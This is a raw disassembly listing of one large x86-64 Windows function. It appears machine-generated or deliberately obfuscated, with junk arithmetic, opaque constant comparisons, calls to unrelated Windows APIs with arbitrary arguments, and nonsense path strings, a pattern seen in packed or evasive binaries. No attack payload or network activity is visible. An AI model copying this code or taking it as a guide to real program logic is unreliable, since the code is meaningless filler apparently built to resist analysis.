mov ecx, dword [rsp + 0x2ba8]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4e40]
mov edx, dword [rsp + 0x2b40]
mov ecx, dword [rcx]
sub ecx, edx
cmp eax, ecx
jge 0x1401530d1
mov rax, qword [rsp + 0x4ed8]
mov rcx, qword [rsp + 0x4e00]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x4f70], rax
mov eax, dword [rsp + 0x2ad8]
mov ecx, dword [section..data]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4e58]
mov dword [rcx], eax
movzx edx, byte [rsp + 0x121]
mov rcx, qword [rsp + 0x4af8]
call fcn.140154fb0
nop
mov rax, qword [rsp + 0x4f68]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4d60]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [0x14016f158]
mov byte [rcx], al
movsx eax, word [0x14016f150]
mov rcx, qword [rsp + 0x4cc0]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4d80]
mov word [rcx], ax
jmp 0x140153182
mov rax, qword [rsp + 0x4d40]
mov ecx, dword [rsp + 0x2ae0]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x4e58]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4e50]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4cd0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x4f70], rax
mov rax, qword [0x14016f158]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4f68]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x120], al
mov rax, qword [rsp + 0x4e10]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4ee0]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4e10]
mov word [rcx], ax
jmp 0x1401531f7
lea rdx, [rsp + 0x11b]
mov rcx, qword [rsp + 0x20d00]
call qword [sym.imp.USERENV.dll_GetProfilesDirectoryA]
mov dword [rsp + 0x2c3c], eax
lea rcx, [rsp + 0x215c0]
call qword [sym.imp.COMDLG32.dll_PrintDlgExA]
mov dword [rsp + 0x46ec], eax
movzx eax, byte [rsp + 0xe9]
mov rcx, qword [rsp + 0x4d58]
movzx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x4d88]
mov byte [rcx], al
jmp 0x140153295
mov rax, qword [rsp + 0x4ed8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4f18]
mov qword [rsp + 0x20d30], rcx
movzx ecx, al
mov rax, qword [rsp + 0x20d30]
mov rax, qword [rax]
shr rax, cl
mov rcx, qword [rsp + 0x4e50]
mov rcx, qword [rcx]
mov rdx, qword [rsp + 0x4f70]
shl rdx, cl
mov rcx, rdx
mov rax, qword [rsp + 0x4e60]
mov eax, dword [rax]
mov dword [rsp + 0x20], eax
mov rax, qword [rsp + 0x4e40]
mov r9d, dword [rax]
mov rax, qword [rsp + 0x4e40]
mov r8d, dword [rax]
mov edx, dword [rsp + 0x2b40]
mov ecx, dword [rsp + 0x2b4c]
call fcn.140154460
nop
mov r9d, 0x89
mov r8d, 0x12
mov edx, 0xe6
mov rcx, qword [rsp + 0x5088]
call sub.COMCTL32.dll_DefSubclassProc
mov qword [rsp + 0x4d90], rax
mov eax, dword [rsp + 0x2ae0]
mov ecx, dword [rsp + 0x2ad8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2af4], eax
mov rax, qword [rsp + 0x4da0]
mov ecx, dword [rsp + 0x2ba8]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x4e60]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4eb0]
mov rcx, qword [rsp + 0x4cd8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5018]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4d68]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4cc0]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0xb90], ax
mov rax, qword [rsp + 0x4d40]
mov ecx, dword [rax]
call fcn.140154a20
nop
movsx eax, byte [rsp + 0x11b]
movsx ecx, byte [rsp + 0x11e]
sub eax, ecx
mov byte [rsp + 0x120], al
lea r9, [rsp + 0x4fc0]
lea r8, [rsp + 0x2ad8]
mov rdx, qword [rsp + 0x4d18]
lea rcx, [rsp + 0x4d00]
call sub.VERSION.dll_VerQueryValueA
mov dword [rsp + 0x2ba4], eax
movzx eax, word [rsp + 0xb98]
mov word [rsp + 0x20], ax
mov r9, qword [rsp + 0x4cd8]
mov rax, qword [rsp + 0x4f10]
movzx r8d, word [rax]
mov rax, qword [rsp + 0x4da0]
mov edx, dword [rax]
movzx ecx, word [rsp + 0xb98]
call fcn.140154e90
nop
jmp 0x1401533fb
mov rax, qword [rsp + 0x4e10]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4ee0]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4f10]
mov word [rcx], ax
movzx edx, byte [rsp + 0xe9]
mov rcx, qword [rsp + 0x4eb0]
call fcn.140154fb0
nop
mov rax, qword [rsp + 0x4e50]
mov rax, qword [rax]
mov qword [rsp + 0x20d38], rax
movabs rax, 0x24cedacb4f32719
cmp qword [rsp + 0x20d38], rax
je 0x140153533
movabs rax, 0x84509714d5bbd787
cmp qword [rsp + 0x20d38], rax
je 0x14015343f
jmp 0x140153550
mov rax, qword [rsp + 0x4e00]
mov rax, qword [rax]
mov qword [rsp + 0x20d40], rax
movabs rax, 0xf31cf636d773bf33
cmp qword [rsp + 0x20d40], rax
je 0x14015346b
jmp 0x140153512
mov rax, qword [rsp + 0x4ed8]
mov rcx, qword [rsp + 0x4fd8]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x4f18]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4d00]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4d58]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xe9], al
mov rax, qword [rsp + 0x4fe0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4d60]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [0x14016f158]
mov byte [rcx], al
mov r9d, 0xb9
mov r8d, 0x38
mov edx, 0x54
mov rcx, qword [rsp + 0x4d78]
call sub.COMCTL32.dll_DefSubclassProc
mov qword [rsp + 0x4d30], rax
movsx eax, byte [0x14016e004]
mov rcx, qword [rsp + 0x4d60]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4fe0]
mov byte [rcx], al
jmp 0x140153531
mov rax, qword [rsp + 0x4d58]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4ec8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x11d], al
jmp 0x140153550
mov r8d, 0x90
mov rdx, qword [rsp + 0x4ec0]
mov rcx, qword [rsp + 0x4ce0]
call qword [sym.imp.COMCTL32.dll_DrawInsert]
nop
jmp 0x14015356c
mov rax, qword [rsp + 0x4f38]
mov ecx, dword [rsp + 0x2ae0]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2bd0], eax
lea rax, [rsp + 0x4e10]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x20d00]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x4cf8]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x4728]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x4e80]
mov r8, qword [rsp + 0x20d48]
lea rdx, str.C:CherryredpricklingIrregularityAdvancementsDrums
mov ecx, 0x8a
call sub.VERSION.dll_VerFindFileA
mov dword [rsp + 0x2af4], eax
mov rax, qword [rsp + 0x4da0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2b40]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4e40]
mov dword [rcx], eax
jmp 0x14015378a
mov r8w, 0x60
mov rdx, qword [rsp + 0x20d20]
mov rcx, qword [rsp + 0x20d48]
call qword [sym.imp.COMDLG32.dll_GetFileTitleA]
mov word [rsp + 0xb9c], ax
mov eax, dword [section..data]
mov dword [rsp + 0x4704], eax
cmp dword [rsp + 0x4704], 0x42d7b633
je 0x14015376b
cmp dword [rsp + 0x4704], 0x989a4d81
je 0x14015363f
jmp 0x14015378a
mov rax, qword [rsp + 0x4dc0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4d60]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4d50]
mov byte [rcx], al
mov eax, dword [rsp + 0x2b14]
mov ecx, dword [rsp + 0x2b40]
add ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x2b4c]
mov edx, dword [rsp + 0x2ba8]
and edx, ecx
mov ecx, edx
cmp eax, ecx
jne 0x140153769
lea rcx, [rsp + 0x212a0]
call qword [sym.imp.COMDLG32.dll_ChooseFontA]
mov dword [rsp + 0x2b04], eax
mov rax, qword [rsp + 0x4e48]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4cf0]
or rcx, rax
mov rax, rcx
mov qword [0x14016e018], rax
mov rax, qword [rsp + 0x4f70]
mov qword [rsp + 0x20d50], rax
movabs rax, 0xadb1f165aa2a0c89
cmp qword [rsp + 0x20d50], rax
je 0x1401536e8
jmp 0x14015375c
mov rax, qword [rsp + 0x4d00]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x11d]
sar eax, cl
mov rcx, qword [rsp + 0x4ce8]
mov byte [rcx], al
movsx eax, byte [rsp + 0x11e]
mov rcx, qword [rsp + 0x4cc8]
movsx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x4d50]
mov byte [rcx], al
mov rax, qword [rsp + 0x4e48]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4d70]
mov qword [rsp + 0x20d58], rcx
movzx ecx, al
mov rax, qword [rsp + 0x20d58]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x4eb0], rax
jmp 0x140153769
mov ecx, dword [rsp + 0x2ae0]
call fcn.140154a20
nop
jmp 0x14015378a
mov rax, qword [rsp + 0x4fc0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2b4c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4e40]
mov dword [rcx], eax
mov eax, dword [rsp + 0x2ba8]
mov dword [rsp + 0x20], eax
mov r9d, dword [rsp + 0x2b4c]
mov r8d, dword [rsp + 0x2b14]
mov rax, qword [rsp + 0x4e60]
mov edx, dword [rax]
mov rax, qword [rsp + 0x4e60]
mov ecx, dword [rax]
call fcn.140154460
nop
movzx eax, byte [rsp + 0x11d]
mov rcx, qword [rsp + 0x4ce8]
movzx ecx, byte [rcx]
sub eax, ecx
movzx ecx, byte [rsp + 0xe9]
movzx edx, byte [0x14016f152]
sub ecx, edx
cmp eax, ecx
jne 0x140153891
mov rax, qword [rsp + 0x4e48]
mov rcx, qword [rsp + 0x4eb0]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x4de0]
mov qword [rcx], rax
lea rcx, [rsp + 0x21790]
call qword [sym.imp.COMDLG32.dll_GetSaveFileNameA]
mov dword [rsp + 0x2aa4], eax
mov eax, dword [rsp + 0x2b40]
mov dword [rsp + 0x4708], eax
cmp dword [rsp + 0x4708], 0x8cecdb0
je 0x140153875
cmp dword [rsp + 0x4708], 0x177e1c1e
je 0x14015384d
jmp 0x140153891
mov eax, dword [rsp + 0x2ad8]
mov ecx, dword [rsp + 0x2ae0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2af4], eax
mov ecx, dword [rsp + 0x2ae0]
call fcn.140154a20
nop
jmp 0x140153891
movsx eax, byte [rsp + 0x11b]
movsx ecx, byte [rsp + 0x11e]
sar eax, cl
mov rcx, qword [rsp + 0x4d60]
mov byte [rcx], al
movzx eax, word [rsp + 0xb98]
mov rcx, qword [rsp + 0x4ee0]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x4e10]
mov word [rcx], ax
mov rax, qword [rsp + 0x4cc0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4d80]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0xb90], ax
jmp 0x1401538e3
mov rax, qword [rsp + 0x4f38]
mov ecx, dword [rax]
call fcn.140154a20
nop
movzx eax, byte [rsp + 0x11c]
movzx ecx, byte [rsp + 0x11d]
sub eax, ecx
mov byte [rsp + 0xe9], al
jmp 0x1401539e7
movzx eax, word [rsp + 0xa34]
mov rcx, qword [rsp + 0x4ee0]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4f10]
movzx ecx, word [rcx]
mov rdx, qword [rsp + 0x4e10]
movzx edx, word [rdx]
and ecx, edx
cmp eax, ecx
jg 0x140153999
mov rax, qword [rsp + 0x4de0]
mov rax, qword [rax]
mov qword [rsp + 0x20d60], rax
movabs rax, 0x6e11bc869fb396fa
cmp qword [rsp + 0x20d60], rax
je 0x14015395b
jmp 0x140153976
movzx edx, byte [rsp + 0x11d]
mov rax, qword [rsp + 0x4de0]
mov rcx, qword [rax]
call fcn.140154fb0
nop
jmp 0x140153997
mov rax, qword [rsp + 0x4f18]
mov rcx, qword [rsp + 0x4ed8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x4cd0], rax
jmp 0x1401539e7
movsx eax, byte [rsp + 0x120]
mov rcx, qword [0x14016f158]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4cc8]
movsx ecx, byte [rcx]
movsx edx, byte [rsp + 0x11b]
add ecx, edx
cmp eax, ecx
je 0x1401539e7
mov rax, qword [rsp + 0x4e48]
mov rcx, qword [rsp + 0x4cf0]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x4e48]
mov qword [rcx], rax
lea rdx, [rsp + 0x21100]
mov rcx, qword [rsp + 0x4d08]
call sub.VERSION.dll_GetFileVersionInfoSizeA
mov dword [rsp + 0x2af4], eax
mov rax, qword [rsp + 0x4ec8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4d88]
movzx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x4d58]
mov byte [rcx], al
mov rax, qword [rsp + 0x4e48]
mov rcx, qword [rsp + 0x4eb0]
mov rax, qword [rax]
sub rax, rcx
mov qword [0x14016e010], rax
mov rax, qword [rsp + 0x4da0]
mov eax, dword [rax]
mov dword [rsp + 0x20], eax
mov rax, qword [rsp + 0x4da0]
mov r9d, dword [rax]
mov rax, qword [rsp + 0x4e60]
mov r8d, dword [rax]
mov edx, dword [rsp + 0x2b4c]
mov ecx, dword [rsp + 0x2b40]
call fcn.140154460
nop
mov rax, qword [rsp + 0x4e48]
mov rax, qword [rax]
mov qword [rsp + 0x20d68], rax
movabs rax, 0x3560a764f99ed90a
cmp qword [rsp + 0x20d68], rax
je 0x140153aa6
jmp 0x140153b2f
mov rax, qword [rsp + 0x4d68]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xb88]
shl eax, cl
movsx ecx, word [rsp + 0xb90]
mov rdx, qword [rsp + 0x4d80]
movsx edx, word [rdx]
or ecx, edx
cmp eax, ecx
je 0x140153b11
mov rax, qword [rsp + 0x4ee0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4e10]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0xb98], ax
movsx eax, word [rsp + 0xb80]
movsx ecx, word [rsp + 0xb88]
sar eax, cl
mov rcx, qword [rsp + 0x4d68]
mov word [rcx], ax
mov rax, qword [rsp + 0x4d88]
movzx edx, byte [rax]
mov rax, qword [rsp + 0x4de0]
mov rcx, qword [rax]
call fcn.140154fb0
nop
jmp 0x140153b50
mov rax, qword [rsp + 0x4d50]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4d60]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [0x14016f158]
mov byte [rcx], al
jmp 0x140153c69
lea r9, [rsp + 0x2af4]
lea r8, [rsp + 0x20d90]
mov rdx, qword [rsp + 0x4d20]
lea rcx, [rsp + 0x4e80]
call sub.VERSION.dll_VerQueryValueA
mov dword [rsp + 0x2aa4], eax
mov rax, qword [rsp + 0x4e60]
mov rcx, qword [rsp + 0x4da0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x4e40]
mov edx, dword [rsp + 0x2b4c]
mov ecx, dword [rcx]
add ecx, edx
cmp eax, ecx
jl 0x140153c54
mov eax, dword [rsp + 0x2ae0]
mov dword [rsp + 0x470c], eax
cmp dword [rsp + 0x470c], 0x4d77564d
je 0x140153c32
cmp dword [rsp + 0x470c], 0x970b82cb
je 0x140153bdc
jmp 0x140153c52
mov rax, qword [rsp + 0x4ce8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x11c]
and eax, ecx
mov byte [rsp + 0x11d], al
mov eax, dword [rsp + 0x2b40]
mov dword [rsp + 0x20], eax
mov rax, qword [rsp + 0x4e40]
mov r9d, dword [rax]
mov r8d, dword [rsp + 0x2b40]
mov rax, qword [rsp + 0x4e40]
mov edx, dword [rax]
mov rax, qword [rsp + 0x4da0]
mov ecx, dword [rax]
call fcn.140154460
nop
jmp 0x140153c52
movsx eax, word [rsp + 0xb80]
mov rcx, qword [rsp + 0x4d68]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4d80]
mov word [rcx], ax
jmp 0x140153c69
lea rcx, [rsp + 0x20e20]
call qword [sym.imp.COMDLG32.dll_ChooseColorA]
mov dword [rsp + 0x2c3c], eax
mov rax, qword [rsp + 0x4e10]
movzx eax, word [rax]
mov word [rsp + 0x20], ax
mov rax, qword [rsp + 0x4d70]
mov r9, qword [rax]
movzx r8d, word [rsp + 0xb8c]
mov rax, qword [rsp + 0x4e60]
mov edx, dword [rax]
mov rax, qword [rsp + 0x4f10]
movzx ecx, word [rax]
call fcn.140154e90
nop
movzx eax, word [rsp + 0xa34]
mov dword [rsp + 0x4710], eax
cmp dword [rsp + 0x4710], 0x22
je 0x140153cc3
jmp 0x140153cc5
jmp 0x140153ce6
mov rax, qword [rsp + 0x4e50]
mov rcx, qword [rsp + 0x4cd0]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x4e00]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4d40]
mov ecx, dword [rsp + 0x2ae0]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x4d40]
mov dword [rcx], eax
jmp 0x140153ded
movsx eax, byte [rsp + 0x11e]
mov rcx, qword [rsp + 0x4dc0]
movsx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x4d50]
movsx ecx, byte [rcx]
mov rdx, qword [rsp + 0x4d60]
movsx edx, byte [rdx]
or ecx, edx
cmp eax, ecx
je 0x140153ded
movzx eax, byte [rsp + 0x11c]
mov byte [rsp + 0x4714], al
cmp byte [rsp + 0x4714], 0x9f
je 0x140153d58
jmp 0x140153dd1
lea r8, [rsp + 0x4da0]
lea rdx, [fcn.140154e90]
mov rcx, qword [rsp + 0x4cf8]
call sub.COMCTL32.dll_RemoveWindowSubclass
mov dword [rsp + 0x2aa4], eax
mov rax, qword [rsp + 0x4d70]
mov rcx, qword [rsp + 0x4cd8]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x4d70]
mov qword [rcx], rax
mov edx, 0x46
mov rcx, qword [rsp + 0x4e80]
call qword [sym.imp.ADVAPI32.dll_DecryptFileA]
mov dword [rsp + 0x2b24], eax
mov rax, qword [rsp + 0x4d40]
mov ecx, dword [rsp + 0x2af4]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x14016e008], eax
jmp 0x140153ded
mov rax, qword [rsp + 0x4d00]
movzx edx, byte [rax]
mov rax, qword [rsp + 0x4d70]
mov rcx, qword [rax]
call fcn.140154fb0
nop
mov rax, qword [rsp + 0x4d80]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4cc0]
movsx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x4d68]
mov word [rcx], ax
movzx eax, word [rsp + 0xa34]
movzx ecx, word [rsp + 0xb8c]
shl eax, cl
mov rcx, qword [rsp + 0x4e10]
mov word [rcx], ax
mov rax, qword [rsp + 0x4e00]
mov rcx, qword [rsp + 0x4e50]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x4cd0], rax
jmp 0x140153ea4
movsx eax, byte [rsp + 0x11b]
movsx ecx, byte [0x14016e004]
add eax, ecx
mov byte [rsp + 0x11e], al
mov rax, qword [rsp + 0x4e10]
movzx eax, word [rax]
mov word [rsp + 0x20], ax
mov r9, qword [rsp + 0x4cf0]
movzx r8d, word [rsp + 0xb84]
mov rax, qword [rsp + 0x4e40]
mov edx, dword [rax]
mov rax, qword [rsp + 0x4e10]
movzx ecx, word [rax]
call fcn.140154e90
nop
lea rcx, [rsp + 0x21100]
call qword [sym.imp.COMCTL32.dll_PropertySheetA]
mov dword [rsp + 0x2b4c], eax
mov rax, qword [rsp + 0x4e00]
movabs rcx, 0x5bc08337e298d39a
mov rax, qword [rax]
and rax, rcx
cmp rax, qword [rsp + 0x4cd0]
jne 0x140153f44
lea rcx, [rsp + 0x21160]
call qword [sym.imp.COMCTL32.dll_PropertySheetA]
mov dword [rsp + 0x2b40], eax
movzx eax, word [rsp + 0xb84]
movzx ecx, word [rsp + 0xa34]
add eax, ecx
mov rcx, qword [rsp + 0x4e10]
mov word [rcx], ax
mov rax, qword [rsp + 0x4d70]
mov rcx, qword [rsp + 0x4cd8]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x4cf0], rax
mov rax, qword [rsp + 0x4d00]
movzx edx, byte [rax]
mov rcx, qword [rsp + 0x4cd8]
call fcn.140154fb0
nop
mov rax, qword [rsp + 0x4da0]
mov ecx, dword [rsp + 0x2b14]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x4da0]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x11c]
mov byte [rsp + 0x4718], al
cmp byte [rsp + 0x4718], 0x6c
je 0x140153f7c
jmp 0x140153f7e
jmp 0x140153f9f
mov rax, qword [rsp + 0x4e00]
mov rcx, qword [rsp + 0x4cd0]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x4e00]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4d40]
mov ecx, dword [rsp + 0x2ae0]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x4d40]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4de0]
mov rcx, qword [rsp + 0x4cd8]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x4cf0], rax
mov rax, qword [rsp + 0x4d58]
movzx edx, byte [rax]
mov rcx, qword [rsp + 0x4cf0]
call fcn.140154fb0
nop
jmp 0x140154099
mov eax, dword [rsp + 0x2b14]
sub eax, 0x6bd5e9c9
mov rcx, qword [rsp + 0x4da0]
cmp eax, dword [rcx]
jl 0x140154099
mov rax, qword [rsp + 0x4d58]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4d00]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x11d], al
mov r8w, 0xb8
mov rdx, qword [rsp + 0x4d20]
mov rcx, qword [rsp + 0x20d20]
call qword [sym.imp.COMDLG32.dll_GetFileTitleA]
mov word [rsp + 0xb88], ax
mov rax, qword [rsp + 0x4d60]
movsx eax, byte [rax]
movsx ecx, byte [0x14016e004]
and eax, ecx
mov rcx, qword [rsp + 0x4dc0]
mov byte [rcx], al
lea r8, [rsp + 0x211c0]
mov rdx, qword [rsp + 0x20d18]
mov rcx, qword [rsp + 0x20d70]
call qword [sym.imp.USERENV.dll_GetUserProfileDirectoryA]
mov dword [rsp + 0x2b24], eax
mov rax, qword [rsp + 0x4cd0]
mov qword [rsp + 0x20d78], rax
movabs rax, 0xacab656e7aa21ca4
cmp qword [rsp + 0x20d78], rax
je 0x140154142
movabs rax, 0xe4813edad4d9af0f
cmp qword [rsp + 0x20d78], rax
je 0x1401540da
jmp 0x140154161
mov rax, qword [rsp + 0x4cd0]
shr rax, 0x25
mov qword [rsp + 0x4cd0], rax
mov rax, qword [rsp + 0x4da0]
mov ecx, dword [rsp + 0x2b14]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x4da0]
mov dword [rcx], eax
mov eax, dword [rsp + 0x2b14]
mov dword [rsp + 0x20], eax
mov r9d, dword [rsp + 0x2b14]
mov rax, qword [rsp + 0x4da0]
mov r8d, dword [rax]
mov rax, qword [rsp + 0x4da0]
mov edx, dword [rax]
mov ecx, dword [rsp + 0x2b14]
call fcn.140154460
nop
jmp 0x140154161
mov rax, qword [rsp + 0x4dc0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x11b]
shl eax, cl
mov rcx, qword [rsp + 0x4d50]
mov byte [rcx], al
jmp 0x140154262
movzx eax, word [rsp + 0xb8c]
and eax, 0xb3f
movzx ecx, word [rsp + 0xb84]
cmp eax, ecx
jge 0x140154262
mov rax, qword [rsp + 0x4cc8]
movzx eax, byte [rax]
mov byte [rsp + 0x471c], al
cmp byte [rsp + 0x471c], 0x6b
je 0x1401541a1
jmp 0x1401541a3
jmp 0x1401541c6
mov r8w, 0x4a
mov rdx, qword [rsp + 0x4d20]
mov rcx, qword [rsp + 0x20d20]
call qword [sym.imp.COMDLG32.dll_GetFileTitleA]
mov word [rsp + 0xb88], ax
mov rax, qword [rsp + 0x4d40]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2ae0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2ad8], eax
mov rax, qword [rsp + 0x4da0]
mov ecx, dword [rsp + 0x2b14]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x4da0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4d00]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x11c]
add eax, ecx
mov rcx, qword [rsp + 0x4d88]
mov byte [rcx], al
movzx eax, word [rsp + 0xb8c]
add eax, 0x7f2
mov word [rsp + 0xb84], ax
mov rax, qword [rsp + 0x4d58]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x11c]
and eax, ecx
mov rcx, qword [rsp + 0x4ce8]
mov byte [rcx], al
mov rax, qword [rsp + 0x4d40]
mov ecx, dword [rax]
call fcn.140154a20
nop
movzx edx, byte [rsp + 0x11c]
mov rax, qword [rsp + 0x4d70]
mov rcx, qword [rax]
call fcn.140154fb0
nop
mov rax, qword [rsp + 0x4d70]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4cf0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x4cd8], rax
movsx eax, byte [rsp + 0x11b]
movsx ecx, byte [0x14016e004]
sar eax, cl
mov rcx, qword [rsp + 0x4cc8]
mov byte [rcx], al
lea rax, [rsp + 0x4d70]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x4d20]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x2b14]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x20fb0]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x20d20]
mov r8, qword [rsp + 0x4d18]
lea rdx, str.C:Reversing_bruisersCopout
mov ecx, 0xb3
call sub.VERSION.dll_VerFindFileA
mov dword [rsp + 0x2af4], eax
movzx eax, word [rsp + 0xb8c]
sar eax, 1
mov word [rsp + 0xb84], ax
movzx eax, word [rsp + 0xb8c]
mov dword [rsp + 0x4720], eax
cmp dword [rsp + 0x4720], 0x464
je 0x140154376
cmp dword [rsp + 0x4720], 0xe56
je 0x140154350
jmp 0x140154393
mov dword [rsp + 0x20], 0xbe
mov r9d, 0xed
mov r8d, DrawInsert
mov edx, 0xcd
mov ecx, 0xcf
call fcn.140154460
nop
jmp 0x140154393
mov eax, dword [rsp + 0x2ad8]
movzx ecx, al
mov eax, dword [rsp + 0x2ae0]
shl eax, cl
mov rcx, qword [rsp + 0x4d40]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4cc0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xb80]
sub eax, ecx
mov rcx, qword [rsp + 0x4cc0]
mov word [rcx], ax
movzx eax, word [rsp + 0xb84]
mov dword [rsp + 0x4724], eax
cmp dword [rsp + 0x4724], 0x124
je 0x1401543d1
jmp 0x1401543d3
jmp 0x1401543e8
movsx eax, byte [rsp + 0x11b]
add eax, 0x3c
mov rcx, qword [rsp + 0x4cc8]
mov byte [rcx], al
mov ecx, dword [section..data]
call fcn.140154a20
nop
jmp 0x140154408
movzx eax, byte [rsp + 0x11c]
sub eax, 7
mov byte [rsp + 0x11c], al
mov ecx, dword [section..data]
call fcn.140154a20
nop
jmp 0x140154439
mov r8w, 0xe9
mov rdx, qword [rsp + 0x4d18]
mov rcx, qword [rsp + 0x4d20]
call qword [sym.imp.COMDLG32.dll_GetFileTitleA]
mov word [rsp + 0xb80], ax
mov ecx, 0x49
call fcn.140154a20
mov eax, dword [rsp + 0x2958]
add rsp, 0x21838
pop rdi
pop rsi
ret